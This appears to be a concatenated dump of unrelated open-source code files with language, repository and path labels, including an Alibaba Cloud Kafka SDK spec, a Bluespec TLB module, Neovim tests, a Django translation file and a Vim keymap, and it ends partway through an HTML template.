0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 31.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 79.00

Matlab

yinrun/LOPDC-Benchmarks

strippacking/matlab/sp-6-49-one.matlab

/** * */ import Util; import OpenApi; import EndpointUtil; extends OpenApi; init(config: OpenApi.Config){ super(config); @endpointRule = 'regional'; @endpointMap = { ap-northeast-2-pop = 'alikafka.aliyuncs.com', ap-southeast-2 = 'alikafka.aliyuncs.com', cn-beijing-finance-1 = 'alikafka.aliyuncs.com', cn-beijing-finance-pop = 'alikafka.aliyuncs.com', cn-beijing-gov-1 = 'alikafka.aliyuncs.com', cn-beijing-nu16-b01 = 'alikafka.aliyuncs.com', cn-edge-1 = 'alikafka.aliyuncs.com', cn-fujian = 'alikafka.aliyuncs.com', cn-haidian-cm12-c01 = 'alikafka.aliyuncs.com', cn-hangzhou-bj-b01 = 'alikafka.aliyuncs.com', cn-hangzhou-internal-prod-1 = 'alikafka.aliyuncs.com', cn-hangzhou-internal-test-1 = 'alikafka.aliyuncs.com', cn-hangzhou-internal-test-2 = 'alikafka.aliyuncs.com', cn-hangzhou-internal-test-3 = 'alikafka.aliyuncs.com', cn-hangzhou-test-306 = 'alikafka.aliyuncs.com', cn-hongkong-finance-pop = 'alikafka.aliyuncs.com', cn-huhehaote-nebula-1 = 'alikafka.aliyuncs.com', cn-qingdao-nebula = 'alikafka.aliyuncs.com', cn-shanghai-et15-b01 = 'alikafka.aliyuncs.com', cn-shanghai-et2-b01 = 'alikafka.aliyuncs.com', cn-shanghai-inner = 'alikafka.aliyuncs.com', cn-shanghai-internal-test-1 = 'alikafka.aliyuncs.com', cn-shenzhen-inner = 'alikafka.aliyuncs.com', cn-shenzhen-st4-d01 = 'alikafka.aliyuncs.com', cn-shenzhen-su18-b01 = 'alikafka.aliyuncs.com', cn-wuhan = 'alikafka.aliyuncs.com', cn-wulanchabu = 'alikafka.aliyuncs.com', cn-yushanfang = 'alikafka.aliyuncs.com', cn-zhangbei = 'alikafka.aliyuncs.com', cn-zhangbei-na61-b01 = 'alikafka.aliyuncs.com', cn-zhangjiakou-na62-a01 = 'alikafka.aliyuncs.com', cn-zhengzhou-nebula-1 = 'alikafka.aliyuncs.com', eu-west-1-oxs = 'alikafka.aliyuncs.com', me-east-1 = 'alikafka.aliyuncs.com', rus-west-1-pop = 'alikafka.aliyuncs.com', }; checkConfig(config); @endpoint = getEndpoint('alikafka', @regionId, @endpointRule, @network, @suffix, @endpointMap, @endpoint); } function getEndpoint(productId: string, regionId: string, endpointRule: string, network: string, suffix: string, endpointMap: map[string]string, endpoint: string) throws: string{ if (!Util.empty(endpoint)) { return endpoint; } if (!Util.isUnset(endpointMap) && !Util.empty(endpointMap[regionId])) { return endpointMap[regionId]; } return EndpointUtil.getEndpointRules(productId, regionId, endpointRule, network, suffix); } model CreateConsumerGroupRequest { instanceId?: string(name='InstanceId'), consumerId?: string(name='ConsumerId'), regionId?: string(name='RegionId'), } model CreateConsumerGroupResponseBody = { code?: int32(name='Code'), message?: string(name='Message'), requestId?: string(name='RequestId'), success?: boolean(name='Success'), } model CreateConsumerGroupResponse = { headers: map[string]string(name='headers'), body: CreateConsumerGroupResponseBody(name='body'), } async function createConsumerGroupWithOptions(request: CreateConsumerGroupRequest, runtime: Util.RuntimeOptions): CreateConsumerGroupResponse { Util.validateModel(request); var req = new OpenApi.OpenApiRequest{ body = Util.toMap(request), }; return doRPCRequest('CreateConsumerGroup', '2018-10-15', 'HTTPS', 'POST', 'AK', 'json', req, runtime); } async function createConsumerGroup(request: CreateConsumerGroupRequest): CreateConsumerGroupResponse { var runtime = new Util.RuntimeOptions{}; return createConsumerGroupWithOptions(request, runtime); } model CreateTopicRequest { instanceId?: string(name='InstanceId'), topic?: string(name='Topic'), remark?: string(name='Remark'), regionId?: string(name='RegionId'), } model CreateTopicResponseBody = { code?: int32(name='Code'), message?: string(name='Message'), requestId?: string(name='RequestId'), success?: boolean(name='Success'), } model CreateTopicResponse = { headers: map[string]string(name='headers'), body: CreateTopicResponseBody(name='body'), } async function createTopicWithOptions(request: CreateTopicRequest, runtime: Util.RuntimeOptions): CreateTopicResponse { Util.validateModel(request); var req = new OpenApi.OpenApiRequest{ body = Util.toMap(request), }; return doRPCRequest('CreateTopic', '2018-10-15', 'HTTPS', 'POST', 'AK', 'json', req, runtime); } async function createTopic(request: CreateTopicRequest): CreateTopicResponse { var runtime = new Util.RuntimeOptions{}; return createTopicWithOptions(request, runtime); } model DeleteConsumerGroupRequest { instanceId?: string(name='InstanceId'), consumerId?: string(name='ConsumerId'), regionId?: string(name='RegionId'), } model DeleteConsumerGroupResponseBody = { code?: int32(name='Code'), message?: string(name='Message'), requestId?: string(name='RequestId'), success?: boolean(name='Success'), } model DeleteConsumerGroupResponse = { headers: map[string]string(name='headers'), body: DeleteConsumerGroupResponseBody(name='body'), } async function deleteConsumerGroupWithOptions(request: DeleteConsumerGroupRequest, runtime: Util.RuntimeOptions): DeleteConsumerGroupResponse { Util.validateModel(request); var req = new OpenApi.OpenApiRequest{ body = Util.toMap(request), }; return doRPCRequest('DeleteConsumerGroup', '2018-10-15', 'HTTPS', 'POST', 'AK', 'json', req, runtime); } async function deleteConsumerGroup(request: DeleteConsumerGroupRequest): DeleteConsumerGroupResponse { var runtime = new Util.RuntimeOptions{}; return deleteConsumerGroupWithOptions(request, runtime); } model DeleteTopicRequest { instanceId?: string(name='InstanceId'), topic?: string(name='Topic'), regionId?: string(name='RegionId'), } model DeleteTopicResponseBody = { code?: int32(name='Code'), message?: string(name='Message'), requestId?: string(name='RequestId'), success?: boolean(name='Success'), } model DeleteTopicResponse = { headers: map[string]string(name='headers'), body: DeleteTopicResponseBody(name='body'), } async function deleteTopicWithOptions(request: DeleteTopicRequest, runtime: Util.RuntimeOptions): DeleteTopicResponse { Util.validateModel(request); var req = new OpenApi.OpenApiRequest{ body = Util.toMap(request), }; return doRPCRequest('DeleteTopic', '2018-10-15', 'HTTPS', 'POST', 'AK', 'json', req, runtime); } async function deleteTopic(request: DeleteTopicRequest): DeleteTopicResponse { var runtime = new Util.RuntimeOptions{}; return deleteTopicWithOptions(request, runtime); } model GetConsumerListRequest { instanceId?: string(name='InstanceId'), regionId?: string(name='RegionId'), } model GetConsumerListResponseBody = { code?: int32(name='Code'), message?: string(name='Message'), requestId?: string(name='RequestId'), success?: boolean(name='Success'), consumerList?: { consumerVO?: [ { consumerId?: string(name='ConsumerId'), instanceId?: string(name='InstanceId'), regionId?: string(name='RegionId'), } ](name='ConsumerVO') }(name='ConsumerList'), } model GetConsumerListResponse = { headers: map[string]string(name='headers'), body: GetConsumerListResponseBody(name='body'), } async function getConsumerListWithOptions(request: GetConsumerListRequest, runtime: Util.RuntimeOptions): GetConsumerListResponse { Util.validateModel(request); var req = new OpenApi.OpenApiRequest{ body = Util.toMap(request), }; return doRPCRequest('GetConsumerList', '2018-10-15', 'HTTPS', 'POST', 'AK', 'json', req, runtime); } async function getConsumerList(request: GetConsumerListRequest): GetConsumerListResponse { var runtime = new Util.RuntimeOptions{}; return getConsumerListWithOptions(request, runtime); } model GetConsumerProgressRequest { instanceId?: string(name='InstanceId'), consumerId?: string(name='ConsumerId'), regionId?: string(name='RegionId'), } model GetConsumerProgressResponseBody = { code?: int32(name='Code'), message?: string(name='Message'), requestId?: string(name='RequestId'), success?: boolean(name='Success'), consumerProgress?: { lastTimestamp?: long(name='LastTimestamp'), totalDiff?: long(name='TotalDiff'), topicList?: { topicList?: [ { totalDiff?: long(name='TotalDiff'), lastTimestamp?: long(name='LastTimestamp'), topic?: string(name='Topic'), offsetList?: { offsetList?: [ { partition?: int32(name='Partition'), brokerOffset?: long(name='BrokerOffset'), consumerOffset?: long(name='ConsumerOffset'), lastTimestamp?: long(name='LastTimestamp'), } ](name='OffsetList') }(name='OffsetList'), } ](name='TopicList') }(name='TopicList'), }(name='ConsumerProgress'), } model GetConsumerProgressResponse = { headers: map[string]string(name='headers'), body: GetConsumerProgressResponseBody(name='body'), } async function getConsumerProgressWithOptions(request: GetConsumerProgressRequest, runtime: Util.RuntimeOptions): GetConsumerProgressResponse { Util.validateModel(request); var req = new OpenApi.OpenApiRequest{ body = Util.toMap(request), }; return doRPCRequest('GetConsumerProgress', '2018-10-15', 'HTTPS', 'POST', 'AK', 'json', req, runtime); } async function getConsumerProgress(request: GetConsumerProgressRequest): GetConsumerProgressResponse { var runtime = new Util.RuntimeOptions{}; return getConsumerProgressWithOptions(request, runtime); } model GetInstanceListRequest { regionId?: string(name='RegionId'), } model GetInstanceListResponseBody = { code?: int32(name='Code'), message?: string(name='Message'), requestId?: string(name='RequestId'), success?: boolean(name='Success'), instanceList?: { instanceVO?: [ { vpcId?: string(name='VpcId'), vSwitchId?: string(name='VSwitchId'), expiredTime?: long(name='ExpiredTime'), deployType?: int32(name='DeployType'), createTime?: long(name='CreateTime'), sslEndPoint?: string(name='SslEndPoint'), instanceId?: string(name='InstanceId'), name?: string(name='Name'), serviceStatus?: int32(name='ServiceStatus'), endPoint?: string(name='EndPoint'), regionId?: string(name='RegionId'), upgradeServiceDetailInfo?: { upgradeServiceDetailInfoVO?: [ { current2OpenSourceVersion?: string(name='Current2OpenSourceVersion'), } ](name='UpgradeServiceDetailInfoVO') }(name='UpgradeServiceDetailInfo'), } ](name='InstanceVO') }(name='InstanceList'), } model GetInstanceListResponse = { headers: map[string]string(name='headers'), body: GetInstanceListResponseBody(name='body'), } async function getInstanceListWithOptions(request: GetInstanceListRequest, runtime: Util.RuntimeOptions): GetInstanceListResponse { Util.validateModel(request); var req = new OpenApi.OpenApiRequest{ body = Util.toMap(request), }; return doRPCRequest('GetInstanceList', '2018-10-15', 'HTTPS', 'POST', 'AK', 'json', req, runtime); } async function getInstanceList(request: GetInstanceListRequest): GetInstanceListResponse { var runtime = new Util.RuntimeOptions{}; return getInstanceListWithOptions(request, runtime); } model GetTopicListRequest { instanceId?: string(name='InstanceId'), currentPage?: string(name='CurrentPage'), pageSize?: string(name='PageSize'), regionId?: string(name='RegionId'), } model GetTopicListResponseBody = { currentPage?: int32(name='CurrentPage'), requestId?: string(name='RequestId'), success?: boolean(name='Success'), code?: int32(name='Code'), message?: string(name='Message'), pageSize?: int32(name='PageSize'), total?: int32(name='Total'), topicList?: { topicVO?: [ { status?: int32(name='Status'), remark?: string(name='Remark'), createTime?: long(name='CreateTime'), topic?: string(name='Topic'), statusName?: string(name='StatusName'), instanceId?: string(name='InstanceId'), regionId?: string(name='RegionId'), } ](name='TopicVO') }(name='TopicList'), } model GetTopicListResponse = { headers: map[string]string(name='headers'), body: GetTopicListResponseBody(name='body'), } async function getTopicListWithOptions(request: GetTopicListRequest, runtime: Util.RuntimeOptions): GetTopicListResponse { Util.validateModel(request); var req = new OpenApi.OpenApiRequest{ body = Util.toMap(request), }; return doRPCRequest('GetTopicList', '2018-10-15', 'HTTPS', 'POST', 'AK', 'json', req, runtime); } async function getTopicList(request: GetTopicListRequest): GetTopicListResponse { var runtime = new Util.RuntimeOptions{}; return getTopicListWithOptions(request, runtime); } model GetTopicStatusRequest { instanceId?: string(name='InstanceId'), topic?: string(name='Topic'), } model GetTopicStatusResponseBody = { code?: int32(name='Code'), message?: string(name='Message'), requestId?: string(name='RequestId'), success?: boolean(name='Success'), topicStatus?: { totalCount?: long(name='TotalCount'), lastTimeStamp?: long(name='LastTimeStamp'), offsetTable?: { offsetTable?: [ { partition?: int32(name='Partition'), minOffset?: long(name='MinOffset'), lastUpdateTimestamp?: long(name='LastUpdateTimestamp'), maxOffset?: long(name='MaxOffset'), topic?: string(name='Topic'), } ](name='OffsetTable') }(name='OffsetTable'), }(name='TopicStatus'), } model GetTopicStatusResponse = { headers: map[string]string(name='headers'), body: GetTopicStatusResponseBody(name='body'), } async function getTopicStatusWithOptions(request: GetTopicStatusRequest, runtime: Util.RuntimeOptions): GetTopicStatusResponse { Util.validateModel(request); var req = new OpenApi.OpenApiRequest{ body = Util.toMap(request), }; return doRPCRequest('GetTopicStatus', '2018-10-15', 'HTTPS', 'POST', 'AK', 'json', req, runtime); } async function getTopicStatus(request: GetTopicStatusRequest): GetTopicStatusResponse { var runtime = new Util.RuntimeOptions{}; return getTopicStatusWithOptions(request, runtime); }

Tea

aliyun/alibabacloud-sdk

alikafka-20181015/main.tea

lapis.serve(require("web"))

MoonScript

xsoheilalizadeh/FrameworkBenchmarks

frameworks/Lua/lapis/loader.moon

MODULE_NAME='Marantz v1' (DEV vdv, DEV dv) DEFINE_CONSTANT STOP = 2 PAUSE = 3 RECORD = 8 DEFINE_EVENT // DEVICE EVENTS //////////////////////////////////////////////////////////// DATA_EVENT[dv] { ONLINE: { SEND_COMMAND dv,"'SET BAUD 9600,N,8,1'" } } // VIRTUAL DEVICE EVENTS //////////////////////////////////////////////////// // CHANNEL EVENTS /////////////////////////////////////////////////////////// CHANNEL_EVENT[vdv,STOP] { ON: { SEND_STRING dv,"'@02354',$0D" } } CHANNEL_EVENT[vdv,PAUSE] { ON: { SEND_STRING dv,"'@02348',$0D" } } CHANNEL_EVENT[vdv,RECORD] { ON: { SEND_STRING dv,"'@02355',$0D" } }

NetLinx

ajnavarro/language-dataset

data/github.com/kielthecoder/amx/a573fbb18778a56f3c34d518e93f20d651f9dd25/Marantz/Marantz v1.axs

// Copyright (c) 2017 Massachusetts Institute of Technology // // Permission is hereby granted, free of charge, to any person // obtaining a copy of this software and associated documentation // files (the "Software"), to deal in the Software without // restriction, including without limitation the rights to use, copy, // modify, merge, publish, distribute, sublicense, and/or sell copies // of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be // included in all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, // EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND // NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS // BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN // ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN // CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. import Vector::*; import Ehr::*; import Types::*; import ProcTypes::*; import TlbTypes::*; import RWBramCore::*; // set assoc tlb only for 4KB pages // indexed by VPN typedef struct { Bool hit; wayT way; // hit way TlbEntry entry; // hit entry } SetAssocTlbResp#(type wayT) deriving(Bits, Eq, FShow); typedef struct { Vpn vpn; Asid asid; } SetAssocTlbTranslateReq deriving(Bits, Eq, FShow); typedef union tagged { SetAssocTlbTranslateReq Translate; TlbEntry Refill; } SetAssocTlbReq deriving(Bits, Eq, FShow); interface SetAssocTlb#( numeric type wayNum, numeric type lgSetNum, type repInfoT // info for replacement, e.g. LRU ); method Action flush; method Bool flush_done; method Action req(SetAssocTlbReq r); // resp is only for translate req method SetAssocTlbResp#(Bit#(TLog#(wayNum))) resp; // deq resp from pipeline and may update the hit way to MRU method Action deqResp(Maybe#(Bit#(TLog#(wayNum))) hitWay); endinterface typedef enum {Flush, Ready} SetAssocTlbState deriving(Bits, Eq, FShow); typedef struct { Bool valid; TlbEntry entry; } SetAssocTlbEntry deriving(Bits, Eq, FShow); module mkSetAssocTlb#( repInfoT repInfoInitVal, function wayT getRepWay(repInfoT info, Vector#(wayNum, Bool) invalid), function repInfoT updateRepInfo(repInfoT info, wayT way) )( SetAssocTlb#(wayNum, lgSetNum, repInfoT) ) provisos( Alias#(wayT, Bit#(TLog#(wayNum))), Alias#(indexT, Bit#(lgSetNum)), Alias#(respT, SetAssocTlbResp#(wayT)), Bits#(repInfoT, a__), Add#(lgSetNum, b__, VpnSz) ); // ram for tlb entry Vector#(wayNum, RWBramCore#(indexT, SetAssocTlbEntry)) tlbRam <- replicateM(mkRWBramCore); // ram for replace info RWBramCore#(indexT, repInfoT) repRam <- mkRWBramCore; // pending Ehr#(2, Maybe#(SetAssocTlbReq)) pendReq <- mkEhr(Invalid); Reg#(Maybe#(SetAssocTlbReq)) pendReq_deq = pendReq[0]; Reg#(Maybe#(SetAssocTlbReq)) pendReq_enq = pendReq[1]; // init & flush index Reg#(indexT) flushIdx <- mkReg(0); // overall state Reg#(SetAssocTlbState) state <- mkReg(Flush); function indexT getIndex(Vpn vpn) = truncate(vpn); // we don't accept req when there is an old req to the same index, because // at resp end we may write RAM. This resolves read-after-write hazard. Wire#(Maybe#(indexT)) pendIndex <- mkBypassWire; (* fire_when_enabled, no_implicit_conditions *) rule setPendIndex; if(pendReq_deq matches tagged Valid .rq) begin case(rq) matches tagged Translate .r: begin pendIndex <= Valid (getIndex(r.vpn)); end tagged Refill .e: begin pendIndex <= Valid (getIndex(e.vpn)); end default: begin pendIndex <= Invalid; end endcase end else begin pendIndex <= Invalid; end endrule rule doFlush(state == Flush); // since TLB is a read-only cache, we can discard everything for(Integer i = 0; i < valueof(wayNum); i = i+1) begin tlbRam[i].wrReq(flushIdx, SetAssocTlbEntry {valid: False, entry: ?}); end repRam.wrReq(flushIdx, repInfoInitVal); // update states flushIdx <= flushIdx + 1; if(flushIdx == maxBound) begin // flush is done state <= Ready; end endrule rule doAddEntry( state == Ready &&& pendReq_deq matches tagged Valid (tagged Refill .newEn) ); // deq pipeline reg and ram resp pendReq_deq <= Invalid; for(Integer i = 0; i < valueof(wayNum); i = i+1) begin tlbRam[i].deqRdResp; end repRam.deqRdResp; // get all the tlb ram resp & rep ram resp Vector#(wayNum, Bool) validVec; Vector#(wayNum, TlbEntry) entryVec; for(Integer i = 0; i < valueof(wayNum); i = i+1) begin let r = tlbRam[i].rdResp; validVec[i] = r.valid; entryVec[i] = r.entry; end repInfoT repInfo = repRam.rdResp; // check if the new entry already exists function Bool sameEntry(wayT w); let en = entryVec[w]; Bool same_page = en.vpn == newEn.vpn && en.asid == newEn.asid && en.pteType.global == newEn.pteType.global; return validVec[w] && same_page; endfunction Vector#(wayNum, wayT) wayVec = genWith(fromInteger); if(find(sameEntry, wayVec) matches tagged Valid .way) begin // entry exists, update rep info indexT idx = getIndex(newEn.vpn); repRam.wrReq(idx, updateRepInfo(repInfo, way)); end else begin // find a slot for this translation // Since TLB is read-only cache, we can silently evict function Bool flip(Bool x) = !x; wayT addWay = getRepWay(repInfo, map(flip, validVec)); // update slot & rep info indexT idx = getIndex(newEn.vpn); tlbRam[addWay].wrReq(idx, SetAssocTlbEntry { valid: True, entry: newEn }); repRam.wrReq(idx, updateRepInfo(repInfo, addWay)); end endrule // start flush when no pending req method Action flush if(state == Ready && !isValid(pendReq[0])); state <= Flush; flushIdx <= 0; endmethod method Bool flush_done = state == Ready; // accept new req when // (1) in Ready // (2) not waiting for flush // (3) pipeline reg available method Action req(SetAssocTlbReq r) if(state == Ready && !isValid(pendReq_enq)); // (4) new req does not match index of existing req (no read/write race // in BRAM) Vpn vpn = (case(r) matches tagged Translate .rq: (rq.vpn); tagged Refill .en: (en.vpn); default: ?; endcase); indexT idx = getIndex(vpn); when(pendIndex != Valid (idx), noAction); // save req pendReq_enq <= Valid (r); // read ram for(Integer i = 0; i < valueof(wayNum); i = i+1) begin tlbRam[i].rdReq(idx); end repRam.rdReq(idx); endmethod method respT resp if( state == Ready &&& pendReq_deq matches tagged Valid (tagged Translate .rq) ); // get all the tlb ram resp & LRU Vector#(wayNum, SetAssocTlbEntry) entries; for(Integer i = 0; i < valueof(wayNum); i = i+1) begin entries[i] = tlbRam[i].rdResp; end repInfoT repInfo = repRam.rdResp; // do VPN match (only 4KB page) and ASID match function Bool entryHit(wayT i); SetAssocTlbEntry en = entries[i]; Bool vpnMatch = en.entry.vpn == rq.vpn; Bool asidMatch = en.entry.asid == rq.asid || en.entry.pteType.global; return en.valid && asidMatch && vpnMatch; endfunction Vector#(wayNum, wayT) wayVec = genWith(fromInteger); if(find(entryHit, wayVec) matches tagged Valid .w) begin // hit return SetAssocTlbResp { hit: True, way: w, entry: entries[w].entry }; end else begin // miss return SetAssocTlbResp { hit: False, way: ?, entry: ? }; end endmethod // deq resp from pipeline and update a way and LRU method Action deqResp(Maybe#(wayT) hitWay) if( state == Ready &&& pendReq_deq matches tagged Valid (tagged Translate .rq) ); // deq pipeline reg pendReq_deq <= Invalid; // deq ram read resp for(Integer i = 0; i < valueof(wayNum); i = i+1) begin tlbRam[i].deqRdResp; end repRam.deqRdResp; // update rep ram if(hitWay matches tagged Valid .way) begin let idx = getIndex(rq.vpn); let repInfo = repRam.rdResp; repRam.wrReq(idx, updateRepInfo(repInfo, way)); end endmethod endmodule

Bluespec

faddat/Flute

src_Core/Near_Mem_VM_WB_L1_L2/src_LLCache/procs/lib/SetAssocTlb.bsv

'reach 0.1'; const [ x ] = []; export const main = Reach.App( {}, [], () => { return x; } );

RenderScript

chikeabuah/reach-lang

hs/t/n/Err_Decl_WrongArrayLength.rsh

# This file is distributed under the same license as the Django package. # # Translators: # Jafry Hisham, 2021 msgid "" msgstr "" "Project-Id-Version: django\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2021-01-15 09:00+0100\n" "PO-Revision-Date: 2021-11-16 12:45+0000\n" "Last-Translator: Jafry Hisham\n" "Language-Team: Malay (http://www.transifex.com/django/django/language/ms/)\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Language: ms\n" "Plural-Forms: nplurals=1; plural=0;\n" msgid "Redirects" msgstr "Lencongan-lencongan" msgid "site" msgstr "laman" msgid "redirect from" msgstr "borang lencongan" msgid "" "This should be an absolute path, excluding the domain name. Example: “/" "events/search/”." msgstr "" "Ini sepatutnya laluan mutlak, tidak termasuk nama domain. Contoh: \"/" "peristiwa/cari/\"" msgid "redirect to" msgstr "Lencong ke" msgid "" "This can be either an absolute path (as above) or a full URL starting with a " "scheme such as “https://”." msgstr "" "Ini boleh menjadi laluan mutlak (seperti diatas) atau URL penuh bermula " "dengan skema seperti \"https://\"." msgid "redirect" msgstr "lencongan" msgid "redirects" msgstr "lencongan-lencongan"

Gettext Catalog

Joshua-Barawa/My-Photos

venv/lib/python3.8/site-packages/django/contrib/redirects/locale/ms/LC_MESSAGES/django.po

-- Tests for :[count]close! and :[count]hide local helpers = require('test.functional.helpers')(after_each) local eq = helpers.eq local poke_eventloop = helpers.poke_eventloop local eval = helpers.eval local feed = helpers.feed local clear = helpers.clear local command = helpers.command describe('close_count', function() setup(clear) it('is working', function() command('let tests = []') command('for i in range(5)|new|endfor') command('4wincmd w') command('close!') command('let buffers = []') command('windo call add(buffers, bufnr("%"))') eq({6, 5, 4, 2, 1}, eval('buffers')) command('1close!') command('let buffers = []') command('windo call add(buffers, bufnr("%"))') eq({5, 4, 2, 1}, eval('buffers')) command('$close!') command('let buffers = []') command('windo call add(buffers, bufnr("%"))') eq({5, 4, 2}, eval('buffers')) command('1wincmd w') command('2close!') command('let buffers = []') command('windo call add(buffers, bufnr("%"))') eq({5, 2}, eval('buffers')) command('1wincmd w') command('new') command('new') command('2wincmd w') command('-1close!') command('let buffers = []') command('windo call add(buffers, bufnr("%"))') eq({7, 5, 2}, eval('buffers')) command('2wincmd w') command('+1close!') command('let buffers = []') command('windo call add(buffers, bufnr("%"))') eq({7, 5}, eval('buffers')) command('only!') command('b1') command('let tests = []') command('for i in range(5)|new|endfor') command('let buffers = []') command('windo call add(buffers, bufnr("%"))') eq({13, 12, 11, 10, 9, 1}, eval('buffers')) command('4wincmd w') command('.hide') command('let buffers = []') command('windo call add(buffers, bufnr("%"))') eq({13, 12, 11, 9, 1}, eval('buffers')) command('1hide') command('let buffers = []') command('windo call add(buffers, bufnr("%"))') eq({12, 11, 9, 1}, eval('buffers')) command('$hide') command('let buffers = []') command('windo call add(buffers, bufnr("%"))') eq({12, 11, 9}, eval('buffers')) command('1wincmd w') command('2hide') command('let buffers = []') command('windo call add(buffers, bufnr("%"))') eq({12, 9}, eval('buffers')) command('1wincmd w') command('new') command('new') command('3wincmd w') command('-hide') command('let buffers = []') command('windo call add(buffers, bufnr("%"))') eq({15, 12, 9}, eval('buffers')) command('2wincmd w') command('+hide') command('let buffers = []') command('windo call add(buffers, bufnr("%"))') eq({15, 12}, eval('buffers')) command('only!') command('b1') command('let tests = []') command('set hidden') command('for i in range(5)|new|endfor') command('1wincmd w') command('$ hide') command('let buffers = []') command('windo call add(buffers, bufnr("%"))') eq({20, 19, 18, 17, 16}, eval('buffers')) command('$-1 close!') command('let buffers = []') command('windo call add(buffers, bufnr("%"))') eq({20, 19, 18, 16}, eval('buffers')) command('1wincmd w') command('.+close!') command('let buffers = []') command('windo call add(buffers, bufnr("%"))') eq({20, 18, 16}, eval('buffers')) command('only!') command('b1') command('let tests = []') command('set hidden') command('for i in range(5)|new|endfor') command('4wincmd w') feed('<C-W>c<cr>') poke_eventloop() command('let buffers = []') command('windo call add(buffers, bufnr("%"))') eq({25, 24, 23, 21, 1}, eval('buffers')) feed('1<C-W>c<cr>') poke_eventloop() command('let buffers = []') command('windo call add(buffers, bufnr("%"))') eq({24, 23, 21, 1}, eval('buffers')) feed('9<C-W>c<cr>') poke_eventloop() command('let buffers = []') command('windo call add(buffers, bufnr("%"))') eq({24, 23, 21}, eval('buffers')) command('1wincmd w') feed('2<C-W>c<cr>') poke_eventloop() command('let buffers = []') command('windo call add(buffers, bufnr("%"))') eq({24, 21}, eval('buffers')) end) end)

Lua

uga-rosa/neovim

test/functional/legacy/close_count_spec.lua

<!DOCTYPE html> <meta charset="utf-8"> <title>Page Title 1</title>

HTML

873040/Abhishek

official/nlp/nhnet/testdata/crawled_articles/domain_1.com/url_001.html

description: Fetch remote join involving a computed field url: /v1/graphql status: 200 query: query: | query { students{ id name grade } } response: data: students: - id: 1 name: alice grade: S - id: 2 name: bob grade: B

YAML

gh-oss-contributor/graphql-engine-1

server/tests-py/queries/remote_schemas/remote_relationships/remote_join_with_computed_field.yaml

const encode = fn(buf, obj) { if isString(obj): return buf + '"' + obj + '"' if isInt(obj) or isFloat(obj) or isBool(obj): return buf + toString(obj) if isNull(obj): return buf + "null" if isArray(obj): return encodeArray(buf, obj) if isMap(obj): return encodeMap(buf, obj) throw "Unsupported JSON object type: " + varType(obj) } const encodeArray = fn(buf, arr) { const ln = len(arr) buf += '[' for i = 0; i < ln; i += 1 { buf = encode(buf, arr[i]) if i < ln-1: buf += ',' } buf + ']' } const encodeMap = fn(buf, obj) { const keys = hashKeys(obj) const ln = len(keys) buf += '{' for i = 0; i < ln; i += 1 { const key = keys[i] buf = encode(buf, key) buf += ':' buf = encode(buf, obj[key]) if i < ln-1: buf += ',' } buf + '}' } return { "encode": fn(obj) { encode("", obj) }, }

Inform 7

lfkeitel/nitrogen

nitrogen/std/encoding/json/encode.ni

" Vim Keymap file for hebrew " Maintainer : Ron Aaron <[email protected]> " Last Updated: Sun 10 Feb 2002 11:50:56 " This is my version of a phonetic Hebrew " Use this short name in the status line. let b:keymap_name = "hebp" loadkeymap K <char-234> " final kaf M <char-237> " final mem N <char-239> " final nun P <char-243> " final pe T <char-232> " tet X <char-245> " final tsadi a <char-224> " alef b <char-225> " bet d <char-227> " dalet g <char-226> " gimel h <char-228> " he j <char-231> " het k <char-235> " kaf l <char-236> " lamed m <char-238> " mem n <char-240> " nun s <char-241> " samekh p <char-244> " pe q <char-247> " qof r <char-248> " resh t <char-250> " tav u <char-242> " ayin v <char-229> " vav w <char-249> " shin x <char-246> " tsadi y <char-233> " yod z <char-230> " zayin

VimL

uga-rosa/neovim

runtime/keymap/hebrewp_iso-8859-8.vim

{{#isHeaderParam}}@ApiImplicitParam(name = "{{{paramName}}}", value = "{{{description}}}", {{#required}}required=true,{{/required}} dataType = "{{{dataType}}}", paramType = "header"){{#hasMore}},{{/hasMore}}{{/isHeaderParam}}

HTML+Django

MalcolmScoffable/openapi-generator

modules/openapi-generator/src/main/resources/java-pkmst/implicitHeader.mustache

GO ?= go VERSION ?= $(shell git describe --tags --always | sed 's/-/+/' | sed 's/^v//') .PHONY: fmt fmt: $(GO) fmt ./... .PHONY: test test: $(GO) test -race ./... .PHONY: vet vet: $(GO) vet ./... .PHONY: build build: $(GO) build -ldflags '-s -w -X "main.Version=$(VERSION)"' go.jolheiser.com/pwn/cmd/pwn

Makefile

cooland/gitea

vendor/go.jolheiser.com/pwn/Makefile

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:py="http://purl.org/kid/ns#" py:extends="'master.kid'"> <head> <meta content="text/html; charset=UTF-8" http-equiv="content-type" /> <title> ${title} Search [8layer Technologies] </title> <script language="JavaScript"> <!-- Begin var checkflag = "false"; function check(field) { if (checkflag == "false") { for (i = 0; i < field.length; i++) { field[i].checked = true;} field.checked = true; checkflag = "true"; return 0; } else { for (i = 0; i < field.length; i++) { field[i].checked = false; } field.checked = false; checkflag = "false"; return 0; } } // End --></script> <style> <!-- table.edit { } table.edit th, table.edit td { margin: 0px 0px 0px 0px; padding: 4px 6px 4px 6px; } table.edit tbody th { background-color: #030; color: #f0fff0; font-size: smaller; text-align: right; } table.edit tfoot th { background-color: #9a9; 